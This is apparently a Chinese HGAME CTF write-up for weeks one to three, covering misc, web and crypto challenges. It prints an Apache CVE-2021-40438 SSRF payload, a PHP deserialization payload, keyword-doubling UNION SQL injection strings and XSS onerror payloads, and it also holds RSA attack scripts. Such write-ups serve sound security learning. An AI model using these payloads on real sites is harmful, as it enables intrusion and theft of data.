带*为赛后复现
第一周wp
MISC
欢迎欢迎!热烈欢迎!
签到
这个压缩包有点麻烦
压缩包,先真加密,爆破得到密码,然后字典爆破,再明文爆破,最后得到的一个藏着伪加密压缩包的图片,破掉伪加密把压缩包解压能得到flag
好康的流量
wireshark打开,追踪tcp流得到一大串base64值,转成图片
stegslove看一下
找个在线扫条形码的网站扫一下得到前半部分,后半部分利用zsteg能直接看到
群青(其实是幽灵东京)
第一个音频文件
猜密码是yoasobi
得到一个网址,里面是sstv为文件名的音频文件,用robot36接收一下
得到一个二维码
扫码拿到flag
WEB
easy_auth
题目描述暗示todo里藏着东西,看一下源码
猜到flag可能再id为1的内容里
访问的时候显示没添加cookie或者token
抓包给他加个jwt
jwt可以根据前边的网页抓包得到的jwt修改
蛛蛛...嘿嘿♥我的蛛蛛
from time import sleep
import requests
url = "https://hgame-spider.vidar.club/6c5920c09d"
key = "?key=VmqCK2lB2LRY2sM%2F5rEjFXHRemjYkb%2BQ2YHG8z7oy1krIf6R%2FOVrA8Ho5G9rxahnu6%2BTfwj6ZRbt3YP405Y12Q%3D%3D"
for i in range(1, 1000):
url = "https://hgame-spider.vidar.club/6c5920c09d"
url = url + key
print(url)
r = requests.get(url=url)
# if 'href' in r.text:
print(r.text)
lstNew = r.text
if 'href' in lstNew:
start = lstNew.find("href=\"?")
print(start)
end = lstNew.find("D\">点我试试")
print(end)
length = len("href=\"")
l = lstNew[start + length:end +1]
key = l
print(key)
if key == '':
break
sleep(0.5)
if "hgame{" in r.text:
print(r.text)
break
else:
print(r.text)
break
写的脚本(好拉的编程
跑到第100关后在响应头里找
Tetris plus
源码里直接找
Fujiwara Tofu Shop
先加个referer头为qiumingshan.net
然后改ua
再改cookie flavor = Raspberry
然后再加上一个Gasoline:100
再是要求本地登录,但是过滤了xff,换个头就行
IOT
饭卡的uno
不会iot,但是这个把附件拖了ida里就能看见flag
CRYPTO
Easy RSA
已知p,q,e和密文求明文的rsa
import libnum
from Crypto.Util.number import long_to_bytes
string = ''
flag = [(12433, 149, 197, 104), (8147, 131, 167, 6633), (10687, 211, 197, 35594), (19681, 131, 211, 15710), (33577, 251, 211, 38798), (30241, 157, 251, 35973), (293, 211, 157, 31548), (26459, 179, 149, 4778), (27479, 149, 223, 32728), (9029, 223, 137, 20696), (4649, 149, 151, 13418), (11783, 223, 251, 14239), (13537, 179, 137, 11702), (3835, 167, 139, 20051), (30983, 149, 227, 23928), (17581, 157, 131, 5855), (35381, 223, 179, 37774), (2357, 151, 223, 1849), (22649, 211, 229, 7348), (1151, 179, 223, 17982), (8431, 251, 163, 30226), (38501, 193, 211, 30559), (14549, 211, 151, 21143), (24781, 239, 241, 45604), (8051, 179, 131, 7994), (863, 181, 131, 11493), (1117, 239, 157, 12579), (7561, 149, 199, 8960), (19813, 239, 229, 53463), (4943, 131, 157, 14606), (29077, 191, 181, 33446), (18583, 211, 163, 31800), (30643, 173, 191, 27293), (11617, 223, 251, 13448), (19051, 191, 151, 21676), (18367, 179, 157, 14139), (18861, 149, 191, 5139), (9581, 211, 193, 25595)]
for x in range(38):
c = flag[x][3]
q = flag[x][2]
p = flag[x][1]
n = p*q
e = flag[x][0]
d = libnum.invmod(e, (p - 1) * (q - 1))
m = pow(c, d, n)
string += str(long_to_bytes(m),'utf-8')
print(string)
English Novel
给了四个文件,一个小说原文,一个加密后的小说,一个加密脚本,一个flag密文
先根据小说原文里的标点通过Linux的grep命令看一下相对的密文
再根据加密脚本逆向写出求key的脚本,然后是求密文(真的好拉的编程
def encrypt(data, key):
# assert len(data) <= len(key)
result = ""
for i in range(len(data)):
if data[i].isupper():
result += chr((ord(data[i]) - ord('A') + key[i]) % 26 + ord('A'))
elif data[i].islower():
result += chr((ord(data[i]) - ord('a') + key[i]) % 26 + ord('a'))
else:
result += data[i]
return result
def decrypt(result, key):
# assert len(data) <= len(key)
data = ""
for i in range(len(result)):
if result[i].isupper():
#result += chr((ord(data[i]) - ord('A') + key[i]) % 26 + ord('A'))
for k in range(65,90):#python这个对负数求余真不知道怎么逆了,只能爆破了
result1 = chr((k - ord('A') + key[i]) % 26 + ord('A'))
if result1 == result[i]:
data += chr(k)
elif result[i].islower():
for k in range(96,123):
result1 = chr((ord(chr(k)) - ord('a') + key[i]) % 26 + ord('a'))
if result1 == result[i]:
data += chr(k)
else:
data += result[i]
print(data)
def decryptkey(data1, result1):
keyboard = []
for n in range(25):
for i in range(len(data1)):
if data[i].isupper():
# result += chr((ord(data[i]) - ord('A') + key[i]) % 26 + ord('A'))
key = str((ord(result1[i]) - ord('A') + (26 * n)) + ord('A') - ord(data1[i]))
keyboard.append(key)
elif data[i].islower():
key = str((ord(result1[i]) - ord('a') + (26 * n)) + ord('a') - ord(data1[i]))
keyboard.append(key)
else:
key = 0
keyboard.append(key)
n = str(n)
for i in keyboard:
print(i, end=',')
print('/n')
if __name__ == '__main__':
data = """urveying the ground, Snowball declared that this was just the place for a windmill"""#这里写原文
result = "klsyf{W0_j0v_ca0z_'Ks0ao-bln1qstxp_juqfqy'?}"#这里写密文
a = [3, 5, -8, 12, 1, -2, -7, 10, 0, -15, 1, 1, 0, 18, -13, -7, 3, 12, 20, 0, 0, -16, 4, 1, -17, 12, 0, 13, -4, 0, -1, 15, 0, -4, 25, -17, 1, -3, 0, -12, 14, 3, 3, 0, 0, 8, -8, 6, 0, 0, 21, 7, 0, -5, -20, -6, -17, 0, -6, 13, 8, 0,2, 1, 20, 20, -1, 0, 16, -10, -1, 0, 21, 0, -6, -5, 9, 18, 10, 16, 10, 5, 0, 0, 0, 6, -8, -1, 7, 0, 20, 9, 2, 3, -3]
#decryptkey(data, result)
decrypt(result, a)
#print(encrypt(data, a))
这个flag在单引号里边的部分还是有点问题,可能是因为key的关系,但是由attfck能猜出attack,由pla1qtext能猜出plaintext,然后改完之后搜一下
最终flag
hgame{D0_y0u_kn0w_'Kn0wn-pla1ntext_attack'?}
第二周wp
WEB
Apache!*
有备份文件
根据题目描述应该是ssrf漏洞,结合apache版本能搜到CVE-2021-40438
?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://internal.host/
但是网上的 exp 大多是 Apache 直接作为代理服务器的情况,这题给了 Apache 的配置文件 https-vhosts.conf , '/' 提供静态资源服务, '/proxy' 提供代理服务。
所以要在/proxy路径下用payload
webpack-engine
看源码,两次base64解码得到flag
hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}
一本单词书
看源码有www.zip的提示
代码审计一下
简单的用户判断
绕过之后
看index.php
大致逻辑就是将输入的传入get.php和save.php进行处理
save.php
将传入的单词的key和value写入文件中,并利用|来将key和value的序列化之后的值分隔。
get.php
读取save.php中创建的文件的内容
evil.php
看见wakeup方法,再联系get.php时的unserialize可以猜测这里是要利用反序列化让file=/flag然后令flag变量的值变为flag再利用get.php将其读出来
这里要注意序列化的内容要在填在单词的位置,将其作为数组的key而不是value,否则在encode函数时会对value再进行一次序列化导致payload改变,无法执行反序列化操作
还要在反序列化的payload前添加|符号
让|后的部分执行decode函数中的反序列化
将evil类中的file赋值为/flag,从而让flag=/flag文件中的内容
这里的if过滤没啥用
最终payload
{|O:4:"Evil":2:{s:4:"file";s:4:"flag";s:4:"flag";N;}
Pokemon
开始页面,源码里提示了个index?id=1
输到url上能看出来id的数决定了出现的是哪个精灵
当id不是1,2,3其中的数时会跳转到error.php
刚开始感觉是sql注入,注了半天这个页面没报错,这里id的值感觉是通过php的弱比较来判断的,开始怀疑是不是别的漏洞。
扫了一下扫到了db.php才确定就是sql注入
于是尝试在error界面注入
当code不为数字时会出现报错
刚开始没有给源码,试了好几次没试出来怎么注入
主办方给的源码:
有了源码之后就是一个很简单的联合注入了
括号或者/*x*/替代空格,用like替代等于,双写绕过关键字,因为是数字型注入,所以也不需要注释符
爆库名
?code=1/*x*/ununionion/*x*/selselectect/*x*/1,database()
?code=-1/*x*/ununionion/*x*/selselectect/*x*/1,group_concat(table_name)frfromom(infoorrmation_schema.tables)whwhereere(table_schema)like'pokemon'
?code=-1/*x*/ununionion/*x*/selselectect/*x*/1,group_concat(column_name)frfromom(infoorrmation_schema.columns)whwhereere(table_name)like'fllllllllaaaaaag'
?code=-1/*x*/ununionion/*x*/selselectect/*x*/1,(flag)frfromom/*x*/fllllllllaaaaaa
At0m的留言板*
xss漏洞
说起这个我就想起来b站那次的xss,还有我还没开始的js学习(
先试一下
<script>alert(1)</script>
确定是xss
然后主办方给了个hint
输出用户留言位置的class标签名为content,然后还有一个用var定义的flag全局变量
为什么同样是两个变量,第一个使用let,而第二个使用var呢?因为使用 var 可 以利用 Object.keys(window) 拿到全局变量 flag 的变量名,而使用let的话无法获取。
也可以直接用Object.values(window)读取这些全局变量的内容,也就是直接获得flag
<img src=1 onerror="document.getElementsByClassName('content')[0].innerHTML= Object.values(window)">
由于提示里这个flag定义在了一个script标签里,我们也可以用document.scripts来读出script标签里的内容
<img src=1 onerror="document.getElementsByClassName('content') [0].innerText=document.scripts[0].text;">
CRYPTO
RSA Attack
rsa真是全套脚本就行
加密脚本
from Crypto.Util.number import getPrime
from libnum import s2n
from secret import flag
m = s2n(flag)
e = 65537
p = getPrime(80)
q = getPrime(80)
n = p * q
c = pow(m, e, n)
print("e =", e)
print("n =", n)
print("c =", c)
正常的rsa加密,给了e,n,c求m
在线网站分解n得到pq
import gmpy2
from libnum import n2s
def Decrypt(c, e, p, q):
L = (p - 1) * (q - 1)
d = gmpy2.invert(e, L)
n = p * q
m = gmpy2.powmod(c, d, n)
flag = n2s(int(m)
print(flag)
if __name__ == '__main__':
p = 715800347513314032483037
q = 978782023871716954857211
e = 65537
c = 122622425510870177715177368049049966519567512708
Decrypt(c, e, p, q)
RSA Attack 2
加密脚本
import re
from math import ceil
from Crypto.Util.number import getPrime
from libnum import s2n
#flag_parts = list(map(s2n, re.findall(rf".{{,{ceil(len(flag) / 3)}}}", flag)))
print("# task1")
m = 42949244670170607238949839659191560916635942982341043413490558510
e = 65537
p = 118106171709518613190337380120721639096109433871758551481750559628607841525199933396401045857313841962667087681000077908575349856203197989280137518119610447265022793158335778819939567162786340083036604758380394175830091289942677310940962706354018362632488404102976344446903748276214668285468119214940392725123
q = 123715343521970684000128799876071042830570723218116931151467220244765055889417626806554868114525566978436323975083498703832794561493291312079691396671274837322036085911028636844643698862533724625315331567014898932701977758733187411738771617885153639118174062773966499612201555575923412045644028857989016603411
r = 169239143092963922213343686924677363088963485633027091645501151388482565490233323796889691624272664985173525812002355530484741432847170511348177065704338978754457533424010842217007432554862861949141613925946472939183705336155629494107050470952474816647080432002189309272835581148740211208678012416960136441833
n1 = p * q
c1 = pow(m, e, n1)
n2 = r * q
c2 = pow(m, e, n2)
print("e =", e)
print("n1 =", n1)
print("c1 =", c1)
print("n2 =", n2)
print("c2 =", c2)
print("# task2")
m = 26926584401348540331333678102939069838976561137078484378892509505
e = 7
p = getPrime(1024)
q = getPrime(1024)
n = 14157878492255346300993349653813018105991884577529909522555551468374307942096214964604172734381913051273745228293930832314483466922529240958994897697475939867025561348042725919663546949015024693952641936481841552751484604123097148071800416608762258562797116583678332832015617217745966495992049762530373531163821979627361200921544223578170718741348242012164115593777700903954409103110092921578821048933346893212805071682235575813724113978341592885957767377587492202740185970828629767501662195356276862585025913615910839679860669917255271734413865211340126544199760628445054131661484184876679626946360753009512634349537
c = pow(m, e, n)
print("e =", e)
print("n =", n)
print("c =", c)
print("# task3")
m = flag_parts[2]
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e1 = getPrime(32)
e2 = getPrime(32)
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)
print("n =", n)
print("e1 =", e1)
print("c1 =", c1)
print("e2 =", e2)
print("c2 =", c2)
将flag分了三段后分别用了不同的加密方式
第一段
代码能看出n1和n2有共同的素因子,那么可以利用欧几里得算法直接将 n1 和 n2 分解。通过欧几里得算法可以直接求出 n1 和 n2 的最大公约数 p:
output给了e,n1,n2,c1,c2
def gcd(a, b):
if a < b:
a, b = b, a
while b != 0:
temp = a % b
a = b
b = temp
return a
def gcd_digui(a, b):
if b != 0:
return a
return gcd(b, a % b)
n1 = 14611545605107950827581005165327694782823188603151768169731431418361306231114985037775917461433925308054396970809690804073985835376464629860609710292181368600618626590498491850404503443414241455487304448344892337877422465715709154238653505141605904184985311873763495761345722155289457889686019746663293720106874227323699288277794292208957172446523420596391114891559537811029473150123641624108103676516754449492805126642552751278309634846777636042114135990516245907517377320190091400729277307636724890592155256437996566160995456743018225013851937593886086129131351582958811003596445806061492952513851932238563627194553
n2 = 20937478725109983803079185450449616567464596961348727453817249035110047585580142823551289577145958127121586792878509386085178452171112455890429474457797219202827030884262273061334752493496797935346631509806685589179618367453992749753318273834113016237120686880514110415113673431170488958730203963489455418967544128619234394915820392908422974075932751838012185542968842691824203206517795693893863945100661940988455695923511777306566419373394091907349431686646485516325575494902682337518438042711296437513221448397034813099279203955535025939120139680604495486980765910892438284945450733375156933863150808369796830892363
p = gcd(n1, n2)
q = n1//p
r = n2//p
print(p)
print(q)
print(r)
p=123715343521970684000128799876071042830570723218116931151467220244765055889417626806554868114525566978436323975083498703832794561493291312079691396671274837322036085911028636844643698862533724625315331567014898932701977758733187411738771617885153639118174062773966499612201555575923412045644028857989016603411
q=118106171709518613190337380120721639096109433871758551481750559628607841525199933396401045857313841962667087681000077908575349856203197989280137518119610447265022793158335778819939567162786340083036604758380394175830091289942677310940962706354018362632488404102976344446903748276214668285468119214940392725123
r=169239143092963922213343686924677363088963485633027091645501151388482565490233323796889691624272664985173525812002355530484741432847170511348177065704338978754457533424010842217007432554862861949141613925946472939183705336155629494107050470952474816647080432002189309272835581148740211208678012416960136441833
这就相当于有了enc,带到前一个题的代码里得到
hgame{RsA@hAS!a&VArIETY?of.
第二段
e=7像低加密指数分解攻击,直接开七次方
import gmpy2
from libnum import n2s
e = 7
# 读入 n, 密文
n = 14157878492255346300993349653813018105991884577529909522555551468374307942096214964604172734381913051273745228293930832314483466922529240958994897697475939867025561348042725919663546949015024693952641936481841552751484604123097148071800416608762258562797116583678332832015617217745966495992049762530373531163821979627361200921544223578170718741348242012164115593777700903954409103110092921578821048933346893212805071682235575813724113978341592885957767377587492202740185970828629767501662195356276862585025913615910839679860669917255271734413865211340126544199760628445054131661484184876679626946360753009512634349537
c = 10262871020519116406312674685238364023536657841034751572844570983750295909492149101500869806418603732181350082576447594766587572350246675445508931577670158295558641219582729345581697448231116318080456112516700717984731655900726388185866905989088504004805024490513718243036445638662260558477697146032055765285263446084259814560197549018044099935158351931885157616527235283229066145390964094929007056946332051364474528453970904251050605631514869007890625
print('n=', n)
print('c=', c)
result = gmpy2.iroot(c, 7)
print(' [-]The c has cubic root?', result[1])
if result[1]:
print(' [-]The m is:', '{:x}'.format(result[0]))
得到m = 0x41747461634b5e6d4554686f64535e776841543a6f746865722141
转字符串的为AttacK^mEThodS^whAT:other!A
第三段
共模攻击
from gmpy2 import *
from libnum import n2s
n = 18819509188106230363444813350468162056164434642729404632983082518225388069544777374544142317612858448345344137372222988033366528086236635213756227816610865045924357232188768913642158448603346330462535696121739622702200540344105464126695432011739181531217582949804939555720700457350512898322376591813135311921904580338340203569582681889243452495363849558955947124975293736509426400460083981078846138740050634906824438689712748324336878791622676974341814691041262280604277357889892211717124319329666052810029131172229930723477981468761369516771720250571713027972064974999802168017946274736383148001865929719248159075729
e1 = 2519901323
e2 = 3676335737
s = gcdext(e1, e2)
s1 = s[1]
s2 = -s[2]
c1 = 3230779726225544872531441169009307072073754578761888387983403206364548451496736513905460381907928107310030086346589351105809028599650303539607581407627819797944337398601400510560992462455048451326593993595089800150342999021874734748066692962362650540036002073748766509347649818139304363914083879918929873577706323599628031618641793074018304521243460487551364823299685052518852685706687800209505277426869140051056996242882132616256695188870782634310362973153766698286258946896866396670872451803114280846709572779780558482223393759475999103607704510618332253710503857561025613632592682931552228150171423846203875344870
c2 = 940818595622279161439836719641707846790294650888799822335007385854166736459283129434769062995122371073636785371800857633841379139761091890426137981113087519934854663776695944489430385663011713917022574342380155718317794204988626116362865144125136624722782309455452257758808172415884403909840651554485364309237853885251876941477098008690389600544398998669635962495989736021020715396415375890720335697504837045188626103142204474942751410819466379437091569610294575687793060945525108986660851277475079994466474859114092643797418927645726430175928247476884879817034346652560116597965191204061051401916282814886688467861
e2 = 3676335737
c2 = invert(c2, n)
m = (pow(c1, s1, n) * pow(c2, s2, n)) % n
print(m)
print(n2s(int(m)))
最终flag
hgame{RsA@hAS!a&VArIETY?of.AttacK^mEThodS^whAT:other!AttACK|METHOdS~do@you_KNOW}
第三周wp
CRYPTO
这周密码比上周要简单
Multi Prime RSA
加密脚本
给了这除了flag其他的变量都给了
p = 61789932148719477384027458333380568978056286136137829092952317307711908353477
q = 91207969353355763685633284378833506319794714507027332929290701748727534193861
r = 105471299607375388622347272479207944509670502835651250945203397530010861809367
s = 83153238748903772448138307505579799277162652151244477391465130504267171881437
n = 1039344372165087100001063920598151812324151064684841845250974758525265148567706103784958424873181721352440209284812493753972556519482026327282644619091466886523804841248277210353173383407944598453848113815866908595335619458549486958764490103808475329598085842184963065068499489886467911087295087163762599284622055185456905774507245781667293199205317692029829495961487347944813874415423771980660778986211145841712412631156369129146470119135136378158203459576596246169191419488560832734046076107673091995860021863239882608638458149930255944184863801278386551031980146460231515747754411678651752698881001464973981424240781413084941947261875289725538959720572496329348499870580057997540844488309111059240745081048324762866572948371222839278718034435739827677190025500802453626872356208612718417249649474571197167076916403582394186357812640566250930361276229969553128128312736245440129556020108188835966131425956431796417720436474093381770796431629523054378258497546013222494974549262140415585158985940966415459478150722832119691308697510189026447359189994055885090735411738332296254011208547676914004864732327863884217733456287369771087094514708468685641820375220835485053482570852619363091173324203334503461823983610886849930944250553928855506012684504211525542998575275626784129736345142772399109273619522445919
e = 65537
c = 844677395496466411520394190869787261209960246734415406217975986418865760680024542119231873259131861208878522030009923057991526761346423130242121884493257732067700857897379859545356609151834223804262174935191718271211809221730601602827122249238086030580971376104724987801049500689134122609834321586609223761140538079460830213824674361601046367637227094018381901291488659642720549583856812747877519600804325570421770575999289389175021646347371879234023647657507178519047236746071420327155188213839293382288787853777540226192644761028822256165706787395891134765908229036044468473519166141610604791485071702808854944672418124203289328124793348198048601338476086482318248264508789781967910205393740835345086784345145351367491197717933757414967811594913692588314161669333147733048171044386546892346475181197482702164468542430187885074163177843285948999943328049159021873821254267471067523609151007885131921896462161216356454116929796355815756642621369974260365378070336290542971599886325232821981080341858950609157813769416455337935096696635623426418166316737131174435618543058086342714723330814586496030805366321181723292731710369013923285787724941830672247377301048663929453294620044701627159066468762709113137517559435822623284148112827473010030736329596829357275518641576798298066541516764673029908084962144713
直接找个rsa的解密脚本带进去就行
RSA Attack 3
加密脚本
from Crypto.Util.number import getPrime
from gmpy2 import invert
from libnum import s2n
from secret import flag
p = getPrime(2048)
q = getPrime(2048)
n = p * q
d = getPrime(64)
e = invert(d, (p - 1) * (q - 1))
c = pow(s2n(flag), e, n)
print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
只给了nec,想要得到明文还要有d,要求d就要指定pq。
利用rsactftool求公钥私钥文件然后得到pq
得到公钥
-----BEGIN PUBLIC KEY-----
MIIEIDANBgkqhkiG9w0BAQEFAAOCBA0AMIIECAKCAgB8YNfjXEOhimdPq0kh+WM0
IfRLCvq/XAePL0PkAM55+/nlEzPvZxW9PHi64GAYcMXPUVIxWvhbkXrVJkxt2+Gz
B13g1yCAebp0DeN9RbSPvV08IWsZnzHG8/tV9UEByd76xOEO1MTanUBdrewtp0NW
tkHvMKwmuKFVOWKypHT8JGnwZw5FOGV9ABTJ4i2vA8WPcf36M2HRRIlUO6IXIZYc
BMoORsCwF4XJ+6xyZNDIXKdt2hYkm6M6ywCvRKj1Wj6zjls1eNt5mO8OOShMvs/M
XamEESd8Wv6qG4Dmld/HmYVoBWqa1mw7r2g46xf3hzDtcU9FIkypszXLh+9TK/OE
fZFqUq0jM97Sl9ltGvEkRfP4QEDA/MJxNtPk72pXmtx0iXmotX8SRSxvb3nksQXQ
eWrncKwZ58wY/pVFZxKCzlJO5VUqdRSymtez1wqQZoQORQdt/iDOj4VB4fuL5VEs
z6Svc9izyYaP4JCg67S6UQoTOipUnLYX+DcR2jkVpwgCLkaC3Qqipkm0prE77OzA
tWen+aX6HZXAluZZrOXBc1dq795CS9jSjn/ESSfucY2XX1FdPBlaEpTt2QXW1l0c
ZtDZq9hylZa/zwdynj+DQq1iz/Tn15+f0iEV1xIIOUemq3gec5N/YXHoLqzv208D
aIXOH0fPWF1xho9D0ji4XwKCAgAS80JghvxDHD8c9vFPSKymBJ28qaUmYvDWWxUG
gMpjfaV3H65MmMFQMAFmTGYbNlUSBpXs8nLc20lTyoFF67Cb6IUxpZiooKg6UaEn
6z1w5ZgMINeUMNz0SFlBxO3DyiSoTyQvAu4QGtQay69VJPH5fgk/A3IrnavkX8/V
w03OyOBdwcYXqvE/QHmTzdLBywN7updQFsN06IUJxIuGS+iI9PHMkQ8TzwYnRzbI
38TcA1ulPzWBYxmFqf+nell4W/O9HKzTjChULhpX2BRztLIk5jcyNr0v76flroGu
J+FUkD1dbuljRR5MHOYKi7V22grnxTr97W7IsSO1x+UeLGcOcKiDweh/su1THCX1
h3sxB8pffkJ1b6hNPCRD5Xzdtd8NpddzejKvP3Zz5kWnrjCv/t5nrMKbo1qy9T4/
vBl1naLBDCBD2D6/4peeJ0NDZICGwQN2xaEuGZHnsNSMDWTENIqh8jA11/CevOCy
fC4dhgwfNbCg6puxdT/cz3LVLMvkPtKoPra1eOnCADWl7xVdVW9ZoWvXJUPYVb7G
